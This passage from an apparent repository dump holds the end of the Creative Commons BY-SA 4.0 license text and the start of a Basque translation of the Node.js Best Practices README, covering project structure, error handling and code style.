Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.\r\n\r\nj. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License.\r\n\r\nk. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.\r\n\r\nl. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.\r\n\r\nm. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.\r\n\r\n### Section 2 – Scope.\r\n\r\na. ___License grant.___\r\n\r\n   1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:\r\n\r\n       A. reproduce and Share the Licensed Material, in whole or in part; and\r\n\r\n       B. produce, reproduce, and Share Adapted Material.\r\n\r\n   2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.\r\n\r\n   3. __Term.__ The term of this Public License is specified in Section 6(a).\r\n\r\n   4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.\r\n\r\n   5. __Downstream recipients.__\r\n\r\n       A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.\r\n\r\n       B. __Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.\r\n\r\n       C. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.\r\n\r\n   6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).\r\n\r\nb. ___Other rights.___\r\n\r\n   1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.\r\n\r\n   2. Patent and trademark rights are not licensed under this Public License.\r\n\r\n   3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.\r\n\r\n### Section 3 – License Conditions.\r\n\r\nYour exercise of the Licensed Rights is expressly made subject to the following conditions.\r\n\r\na. ___Attribution.___\r\n\r\n   1. If You Share the Licensed Material (including in modified form), You must:\r\n\r\n       A. retain the following if it is supplied by the Licensor with the Licensed Material:\r\n\r\n         i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);\r\n\r\n         ii. a copyright notice;\r\n\r\n         iii. a notice that refers to this Public License;\r\n\r\n         iv. a notice that refers to the disclaimer of warranties;\r\n\r\n         v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;\r\n\r\n       B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and\r\n\r\n       C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.\r\n\r\n   2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.\r\n\r\n   3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.\r\n\r\nb. ___ShareAlike.___\r\n\r\nIn addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.\r\n\r\n1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-SA Compatible License.\r\n\r\n2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.\r\n\r\n3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.\r\n\r\n### Section 4 – Sui Generis Database Rights.\r\n\r\nWhere the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:\r\n\r\na. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;\r\n\r\nb. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and\r\n\r\nc. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.\r\n\r\nFor the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.\r\n\r\n### Section 5 – Disclaimer of Warranties and Limitation of Liability.\r\n\r\na. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__\r\n\r\nb. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__\r\n\r\nc. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.\r\n\r\n### Section 6 – Term and Termination.\r\n\r\na. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.\r\n\r\nb. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:\r\n\r\n   1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or\r\n\r\n   2. upon express reinstatement by the Licensor.\r\n\r\n   For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.\r\n\r\nc. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.\r\n\r\nd. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.\r\n\r\n### Section 7 – Other Terms and Conditions.\r\n\r\na. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.\r\n\r\nb. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.t stated herein are separate from and independent of the terms and conditions of this Public License.\r\n\r\n### Section 8 – Interpretation.\r\n\r\na. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.\r\n\r\nb. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.\r\n\r\nc. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.\r\n\r\nd. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.\r\n\r\n> Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.\r\n>\r\n> Creative Commons may be contacted at creativecommons.org\r\n"
  },
  {
    "path": "README.basque.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js-ren praktika onak\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js-ren praktika onak\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg\" alt=\"102 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20December%2012%202020-green.svg\" alt=\"Azken eguneratzea: 2020ko azaroa\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2014.0.0-brightgreen.svg\" alt=\"Node 14.0.0rako eguneratua\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Hemen ere bagaude!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nIrakurri beste hizkuntza batzuetan: [![EN](./assets/flags/EN.png)**EN**](./README.md), [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md),[![JA](./assets/flags/JA.png)**JA**](./README.japanese.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** eta ![TR](./assets/flags/TR.png)**TR** aribidean!)](#itzulpenak)\n\n<br/>\n\n###### Gure [Zuzendaritza Batzordeak ](#zuzendaritza-batzordea) eta [laguntzaileek](#Languntzaileak) eraiki eta mantentzen dute webgune hau\n\n# Azken praktika onak eta albisteak\n\n- **![EU](./assets/flags/EU.png) Euskarazko itzulpena!:** wow gure euskal irakurleek ere gida hau bere ama-hizkuntzan irakur dezakete! [Ane Diaz de Tuesta](https://github.com/anediaz) eta Joxefe Diaz de Tuestaren eskutik\n\n- **🇯🇵 Japonierazko itzulpena:** hemendik aurrera japonieraz erabili daiteke gure gida, [YukiOta](https://github.com/YukiOta) eta [Yuta Azumi](https://github.com/YA21) gure laguntzaile ikaragarriei esker\n\n- **🎊 60.000 izar!**: Gure biltegiak 60.100 garatzaileren aitortza eta konfiantza jaso ditu. Hitzik gabe gaude\n\n<br/><br/>\n\n# Ongi etorri! Hasi aurretik jakin beharreko 3 gauza\n\n**1. Hemen dozenaka artikulu dauzkazu, onenetarikoak Node.jsri buruz egindakoetan:** alegia, bilduma honek Node.jsren praktika onak jasotzen ditu, edukien arabera sailkatuta\n\n**2. Dagoen bildumarik handiena da, eta astetik astera handiagoa da:** une honetan 80tik gora praktika, estilo eskuliburu eta arkitektura aholku dauzkagu bilduta. Gustura asko jasoko genituzke zure ekarpenak bilduma hau eguneratuta edukitzeko, bai kode akatsak konponduz, bai itzulpenak eginez, bai ideia berriak proposatuz egin ditzakezunak: izan zaitez Node.jsren praktika onen liburuko partaide. Ikusi gure [idazketa jarraibideak](./.operations/writing-guidelines.basque.md)\n\n**3. Jarraibide gehienek informazio gehigarria dute.** Jarraibideko puntu bakoitzaren ondoan **🔗Informazio gehiago** esteka aurkituko duzu, jarraibidea osatzen duena kode adibideekin, blogetako aipu hautatuekin eta informazio osagarri gehiagorekin\n\n<br/><br/>\n\n## Edukien aurkibidea\n\n1. [Proiektuaren egitura (5)](#1-proiektuaren-egitura)\n2. [Erroreen kudeaketa (12) ](#2-erroreen-kudeaketa)\n3. [Kode estiloa (12) ](#3-kode-estiloa)\n4. [Probak eta kalitate orokorra (13) ](#4-probak-eta-kalitate-orokorra)\n5. [Ekoizpena (19) ](#5-ekoizpena)\n6. [Segurtasuna (25)](#6-segurtasuna)\n7. [Errendimendua (2) (Aribidean ✍️)](#7-zirriborroa-errendimendua)\n8. [Docker, praktika onak (15)](#8-docker-praktika-onak)\n\n<br/><br/>\n\n# `1. Proiektuaren egitura`\n\n## ![✔] 1.1 Antolatu zure proiektua atal eta osagai txikiagotan\n\n**TL;PL:** aplikazio handien oztoporik handiena kode base erraldoi bat mantendu beharra da, ehundaka lotura eta menpekotasun dituena. Horrelako lan monolitikoek programatzaileen lana motelarazten dute, funtzionalitate berriak gehitzen saiatzen dira eta. Hori gerta ez dadin, zatitu zure kodea osagai txikiagotan, bakoitza bere datuekin karpeta banatan, eta bermatu osagai bakoitza laburra eta sinplea izatea. Bisitatu hemen behean dagoen “Informazio gehiago” esteka, proiektu egoki baten egitura zuzenaren adibideak ikusteko\n\n**Bestela:** funtzionalitate berriak programatzean, garatzaileek zailtasun handiak izaten dituzte aldaketa horien eragina atzemateko, eta beldur izaten dira funtzionalitateon menpeko osagaiak hautsiko ote dituzten. Ondorioz, inplementazioak motelagoak eta arriskutsuagoak izaten dira. Oro har, zailagoa izaten da aplikazio baten kodea luzatzea negozio unitateak banatuta ez daudenean\n\n🔗 [**Informazio gehiago: antolatu zure proiektua osagai txikiagotan**](./sections/projectstructre/breakintcomponents.basque.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Antolatu zure aplikazioa geruzatan eta mantendu webaren geruza bere esparruaren barruan\n\n**TL;PL:** osagai bakoitzak «geruzak» izan beharko lituzke: hau da, berariaz weberako egindako objektu bat; beste bat, logikarako; eta beste bat, datuen sarbidearen koderako. Horrek, zati bakoitzaren funtzioak ondo bereizteko aukera eskaintzeaz gainera, sistema errazago simulatu eta testatzea ahalbidetzen du. Modelo hau oso ohikoa bada ere, APIen garatzaileek joera izaten dute geruzak nahasteko, webeko objektu espezifikoa (Express req, res) logika operatiboaren eta datuen geruzetara pasatuz, eta, ondorioz bai aplikazioa bai sarbidea Expressen menpeko bihurtzen dira\n\n**Bestela:** aplikazio batean webeko objektuak beste geruzekin nahastuta badaude, ezingo da bertara sartu testak, CRON atazak eta Express middleware-ak baino erabiliz\n\n🔗 [**Informazio gehiago: antolatu zure aplikazioa geruzatan**](./sections/projectstructre/createlayers.basque.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Kokatu baliabide komunak npm paketetan\n\n**TL;PL:** datu base askok osatzen duten aplikazio handi bat prestatzen dugunean, geruza guztietan lan egiten duten zeharkako tresna bakoitzak –erregistragailuak, zifragailuak eta beste– bere kodearen barruan egon behar du, npm pakete pribatu moduan, tresna horiek hainbat proiektutan partekatu ahal izatea ahalbidetzen duena\n\n**Bestela:** zuk zeuk asmatu beharko duzu zeure inplementazioa eta menpekotasun gurpila\n\n🔗 [**Informazio gehiago: antolatu funtzioen arabera**](./sections/projectstructre/wraputilities.basque.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Banandu Express 'aplikazioa' eta 'zerbitzaria'\n\n**TL;PL:** ekidin [Express](https://expressjs.com/) aplikazioa artxibo handi batean oso-osorik definitzeko ohitura desegokia. Banandu Express aplikazioaren definizioa bi artxibotan gutxienez: batetik, APIaren definizioa (app.js); eta, bestetik, sarearen ezaugarriak (WWW). Are gehiago, egitura egokiagoa izan dadin, jarri APIaren definizioa osagaiekin batera\n\n**Bestela:** probak egiteko, HTTP deien bidez baino ezingo da zure APIra sartu. Sarbide hori motelagoa da eta asko zailtzen du estaldura txostenak egitea. Gainera, ziur aski, ez da bat ere atsegina izango ehundaka lerro dituen kodea mantentzea\n\n🔗 [**Informazio gehiago: banandu Express 'aplikazioa' eta 'zerbitzaria'**](./sections/projectstructre/separateexpress.basque.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Erabili ingurunea errespetatzen duen konfigurazio seguru eta hierarkiko bat\n\n**TL;PL:** akatsik gabeko konfigurazio perfektu batek bermatu behar du (a) giltzak fitxategietatik eta inguruneko aldagaietatik irakurri ahal izatea, (b) sekretuak iturri kodetik kanpo gordeta egotea, eta, (c), bilaketak errazte aldera, konfigurazioa hierarkikoa izatea. Hori dena lortzeko badira paketeak, hala nola, [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) eta [convict](https://www.npmjs.com/package/convict)\n\n**Bestela:** konfiguazioa egitean baldintza horietarikoren bat betetzen ez baduzu, lana moteldu egingo da, bai garapen taldearena, bai devops taldearena\n\n🔗 [**Informazio gehiago: konfigurazio praktika onak**](./sections/projectstructre/configguide.basque.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `2. Erroreen kudeaketa`\n\n## ![✔] 2.1 Erabili Async-Await edo errore asinkronoak kudeatzeko promesak\n\n**TL;PL:** errore asinkronoak callback erabiliz kudeatzen badituzu, infernurako biderik azkarrena hartuko duzu edo galbiderako piramidean sartuko zara. Zure kodeari opari on bat egin nahi badiozu, erabili agintzen liburutegi ezagun bat edo async-await, try-catch erakoa adibidez kode sintaxis askoz trinkoago eta ohikoago bat eskaintzen duena\n\n**Bestela:** Node.jsren callback teknika (“err, response” prozedura) erabiltzen baduzu, kode ez jasangarriak sortuko dituzu, batera suertatuko baitira kode arrunta duten erroreen kudeaketa, habiaratze sarriegiak eta kodetze eredu ez erosoak\n\n🔗 [**Informazio gehiago: ekidin callback prozedurak**](./sections/errorhandling/asyncerrorhandling.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Erabili soilik “Errorea” objektu kapsulatua\n\n**TL;PL:** maiz, erroreak kate gisa edo modu pertsonalizatuan agertzen dira, erroreak kudeatzeko logika zaildu eta moduluen arteko elkarreragingarritasuna oztopatzen duena. Agintza bat baztertu zein salbuespen bat ezarri edo errore ohar bat argitaratzen duzunean, soilik “Errorea” objektu kapsulatua –edo “Errore txertatua“ objektua zabaltzen duen objektua– erabiliz lortuko duzu bermatzea bateratasuna handitu eta informazioa ez galtzea\n\n**Bestela:** osagairen bati deitzean erroreak zein motatakoak diren jakin gabe, askoz zailagoa da eurak kontrolatzea. Are okerrago, erroreak deskribatzeko modu pertsonalizatuak erabiltzeak errore kritikoen informazioa galtzea ekar dezake, pilaren aztarna, besteak beste\n\n🔗 [**Informazio gehiago: erabili soilik “Errorea” objektu kapsulatua**](./sections/errorhandling/useonlythebuiltinerror.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Bereizi eragiketa erroreak eta programatze erroreak\n\n**TL; PL:** eragiketa erroreek (adibidez, APIak balio gabeko sarrera jasotzea) agerian jartzen dituzten arazoak ezagunak izaten dira, eta, haien eragina guztiz ulertu eta kontuz kudeatzeko modukoak izaten dira. Bestetik, programatze erroreak (adibidez, zehaztu gabeko aldagaia irakurtzen saiatzea) aplikazioa berrabiarazteko agindua ematen duten kode hutsegite ezezagunak izaten dira\n\n**Bestela:** beti berrabiaraz dezakezu aplikazioa errore bat agertzen denean. Baina zergatik utzi 5.000 erabiltzaile offline iragarri daitekeen errore funtzional txiki batengatik? Kontrakoa ere ez da egokia: arazo ezezagun bat gertatzen denean -programatze errore bat, esaterako- aplikazioa martxan mantentzeak ezusteko jokaerak eragin ditzake. Biak bereizteak aukera ematen du kontuz jokatzeko eta ikuspegi orekatu bat aplikatzeko testuinguruan oinarrituz\n\n🔗 [**Informazio gehiago: eragiketa erroreak vs programatze erroreak**](./sections/errorhandling/operationalvsprogrammererror.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Kudeatu erroreak gune bakar batean, Express middleware erabili partez\n\n**TL;PL:** erroreak kudeatzeko logika -hala nola, haien erregistroa eramatea eta administratzaileari mezuak bidaltzea- objektu dedikatu zentralizatu batean kapsulatu behar da, erroreren bat gertatzen denean helmuga guztiek (adibidez, Express middlewarea, cron atazak, atalkako egiaztatzeak) hara deitu dezaten\n\n**Bestela:** erroreak toki bakarrean ez kudeatzeak kodea bikoiztea eragiten du eta, ziur aski, erroreak gaizki kudeatzea ere bai\n\n🔗 [**Informazio gehiago: kudeatu erroreak gune bakar batean**](./sections/errorhandling/centralizedhandling.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Dokumentatu aplikazioaren erroreak Swagger edo GraphQL-ren laguntzarekin\n\n**TL;PL:** jakinaren gainean jarri aplikazioaren deitzaileak erroreak berriro gerta daitezkeela, errore horiek behar bezala konpondu ahal izateko hutsik egin gabe. RESTful aplikazioetan Swagger bezalako dokumentazio esparruak erabiltzen dira. GraphQL erabiltzen baduzu, zeure eskema eta azalpenak erabil ditzakezu\n\n**Bestela:** aplikazio baten bezeroak erabaki dezake aplikazioa itxi eta berrabiaraztea, ulertzen ez duen errore baten abisua jaso duelako soil-soilik. Oharra: zu zeu izan zaitezke zure aplikaziotik deitzen duena (oso ohikoa mikrozerbitzu inguruneetan)\n\n🔗 [**Informazio gehiago: dokumentatu aplikazioaren erroreak Swagger edo GraphQLren laguntzarekin**](./sections/errorhandling/documentingusingswagger.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Irten prozesutik elegantziarekin kanpoko norbait iristen denean hirira\n\n**TL;PL:** errore ezezagun bat gertatzen denean (programazio errore bat, ikusi 2.3 praktika ona), zalantza izaten da era egokian lanean ote dabilen aplikazioa. Kasu horietan, oso ohikoa izaten da prozesuak kudeatzeko tresna bat erabiltzea [Forever](https://www.npmjs.com/package/forever), [PM2](http://pm2.keymetrics.io/) edo antzekoren bat– prozesua berriro hasteko\n\n**Bestela:** ezagutzen ez duzun zerbait gertatzen denean, izan daiteke objekturen batzuk egoera txarrean daudelako (esaterako, globalki erabiltzen den gertaera igorle bat, barneko erroreren batengatik ondo ez dabilena) eta gerta daiteke aurrerantzean abisuek huts egitea edo modu ero samarrean funtzionatzea\n\n🔗 [**Informazio gehiago: gelditu prozesua**](./sections/errorhandling/shuttingtheprocess.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Erabili erregistratze tresna helduak erroreen ikusgaitasuna handitzeko\n\n**TL;PL:** erregistratze tresna helduen sortak erabiltzen badituzu –[Pino](https://github.com/pinojs/pino) edo [Log4js](https://www.npmjs.com/package/log4js), adibidez–, erroreak lehenago atzeman eta ulertuko dituzu. Beraz, utzi alde batera console.log\n\n**Bestela:** console.log-ak arakatu behar badituzu edo testua desordenatua duen artxibo batean erroreak eskuz, kontsulta tresnarik gabe edo erregistratze bisore ganorazkorik gabe bilatu behar badituzu, ordu asko emango dituzu lanean gaueko ordu txikiak arte\n\n🔗 [**Informazio gehiago: erabili erregistratze tresna helduak**](./sections/errorhandling/usematurelogger.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Testeatu erroreen fluxua zure test framework gustukoena erabiliz\n\n**TL;PL:** kalitate profesionaleko kontrol tresna automatizatu bat izan zein programatzaileentzako eskuzko test soil bat izan, bermatu zure kodeak ez duela egoera positiboetan bakarrik lan egiten, baizik eta errore zuzenak ere kudeatu eta birbidaltzen dituela. Mocha eta Chai bezalako unitate test frameworkek erraz egin dezakete lan hori (ikusi “Gist leiho”ko kode adibideak)\n\n**Bestela:** automatikoki zein eskuz probarik egin gabe ezin duzu konfiantzarik izan zure kodeak benetako erroreak atzemango dituen. Errore adierazgarririk gabe ez dago erroreak kudeatzerik\n\n🔗 [**Informazio gehiago: testeatu erroreen fluxua**](./sections/errorhandling/testingerrorflows.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Aurkitu erroreak eta jardunik gabeko uneak APM produktuak erabiliz\n\n**TL;PL:** monitorizazio eta errendimendu produktuek (APM, ingelesezko siglen arabera) modu proaktiboan ebaluatzen dute zure kode basea edo aplikazioa automatikoki aurkitu ahal izan ditzaten erroreak, blokeoak eta atzeman ezin dituzun eraginkortasun txikiko atalak\n\n**Bestela:** denbora asko pasa zenezake zure aplikazioaren errendimendua eta jardunik gabeko uneak neurtzen, eta, hala ere, ez zenuke aurkituko zeintzuk diren zure kodearen zatirik motelenak egoera errealetan eta ez zenuke inoiz jakingo nola eragiten dioten erabiltzailearen lanari\n\n🔗 [**Informazio gehiago: APM produktuen erabilera**](./sections/errorhandling/apmproducts.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Atzeman kudeatu gabeko agintzen arbuioak\n\n**TL;PL:** agintza baten barruan dauden salbuespenak xurgatuak eta baztertuak izango dira programatzaileak modu esplizituan kudeatzen ez baditu, haren kodea `process.uncaughtException`-ari atxikia egonda ere. Ekidin hori `process.unhandledRejection` erabiliz\n\n**Bestela:** zure erroreak xurgatuak izango dira eta ez da haien arrastorik geratuko. Ez duzu zertaz kezkatu\n\n🔗 [**Informazio gehiago: atzeman kudeatu gabeko aginduen arbuioak**](./sections/errorhandling/catchunhandledpromiserejection.basque.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Huts egin azkar, balidatu argudioak liburutegi dedikatu baten laguntzarekin\n\n**TL;PL:** Express erabiltzen duzunean, zure praktika onetako bat izan beharko litzateke aplikazioaren sarbidea kontrolatzea, ustegabeko erroreak ekiditeko, aurrerago erroreak atzematea askoz zailagoa izaten da eta. Balidazio kodea gogaikarria izan ohi da, [ajv](https://www.npmjs.com/package/ajv) eta [Joi](https://www.npmjs.com/package/joi) bezalako laguntza liburutegi moderno bat erabili ezean\n\n**Bestela:** pentsatu zure funtzioa agintza numeriko baten zain dagoela, adibidez «deskontua», eskatzaileak bidaltzea ahaztu duena; geroago, haren kodeak baieztatzen du « deskontua! = 0 (baimendutako deskontua zero baino handiagoa da)», eta horrek ahalmena ematen dio erabiltzaileari deskontua izateko. Ene, nolako errore arriskutsua! Konturatzen zara?\n\n🔗 [**Informazio gehiago: huts eragin azkar**](./sections/errorhandling/failfast.basque.md)\n\n<br/><br/><br/>\n\n## ![✔] 2.12 Agintzen zain egon beti itzuli aurretik, pilak arrastorik uztea saihesteko\n\n**TL; PL:** beti egin `return await` promesa bat itzultzean, pila osoaren jarraipena egin ahal izateko. Funtzio batek promesa bat itzultzen badu, funtzio hori `async`, hau da, asinkronotzat jo behar da, eta esplizituki `await`, itxaron agintza, itzuli aurretik\n\n**Bestela:** itxaron gabe agintza itzultzen duen funtzioa ez da pilaren arrastoan agertuko. Galdutako fotograma horiek akatsa eragingo duen fluxua ulertzea zailduko lukete, batez ere portaera anormalaren zergatia falta den funtzioaren barruan baldin badago\n\n🔗 [**Informazio gehiago: agintzak itzultzea**](./sections/errorhandling/returningpromises.basque.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#edukien-aurkibidea\">⬆ Itzuli hasierara</a></p>\n\n# `3. Kode estiloa`\n\n## ![✔] 3.1 Erabili ESLint\n\n**TL;PL:** [ESLint](https://eslint.org) da gerta daitezkeen kode erroreak egiaztatzeko eta kodearen estiloa zuzentzeko estandarra. Ez da soilik erabiltzen tarteen arazoak identifikatzeko, baizik eta kodearen antipatroi kritikoak atzemateko ere, hala nola garatzaileen errore ez-sailkatuak. ESLint kode estiloak automatikoki zuzentzeko gai bada ere, badira beste tresna batzuk eraginkorragoak direnak zuzenketak egiten –esaterako, [prettier](https://www.npmjs.com/package/prettier) eta [beautify](https://www.npmjs.com/package/js-beautify)– eta, gainera, ESLintekin batera egiten dute lan\n\n**Bestela:** garatzaileek arreta jarriko dute hain gogaikarriak diren arazo batzuk konpontzen –kodearen tarteak eta lerroaren luzera–, eta denbora gehiegi gal dezakete proiektuaren kode estiloa aztertzen\n\n🔗 [**Informazio gehiago: erabili ESLint eta Prettier**](./sections/codestylepractices/eslint_prettier.basque.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Node.jsrentzako plugin espezifikoak\n\n**TL;PL:** ESLintek Vanilla JavaScript babesteko dituen arau estandarretatik aparte, komeni da Node.jsren osagai espeziko batzuk erabiltzea, hala nola [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) eta [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)\n\n**Bestela:** Node.jsren arau akastun batzuek radarraren kontrolari ihes egin ahal diote. Esaterako, garatzaileek sarbide moduan aldagai jakin baten beharra izan dezakete (require(variableCommeChemin)), edozein JS script erabiltzeko aukera ematen diena erasotzaileei. Node.jsren linterrek patroi horiek atzeman ditzakete eta garaiz jo alarma\n\n<br/><br/>\n\n## ![✔] 3.3 Jarri kode multzo baten giltzak lerro bakarrean\n\n**TL;PL:** kode bloke baten hasierako parentesiak irekiera instrukzioaren lerroan egon behar du\n\n### Kode adibidea\n\n```javascript\n// Egin\nfunction edozeinFuntzio() {\n  // kode blokea\n}\n\n// Baztertu\nfunction edozeinFuntzio()\n{\n  // kode blokea\n}\n```\n\n**Bestela:** praktika on hau ez erabiltzeak ustekabeko emaitzak eragin ditzake, behean dagoen StackOverflow-en eztabaida harian ikus daitekeen bezala:\n\n🔗 [**Informazio gehiago:** “Zergatik aldatzen dira emaitzak giltzen kokapenaren arabera?” 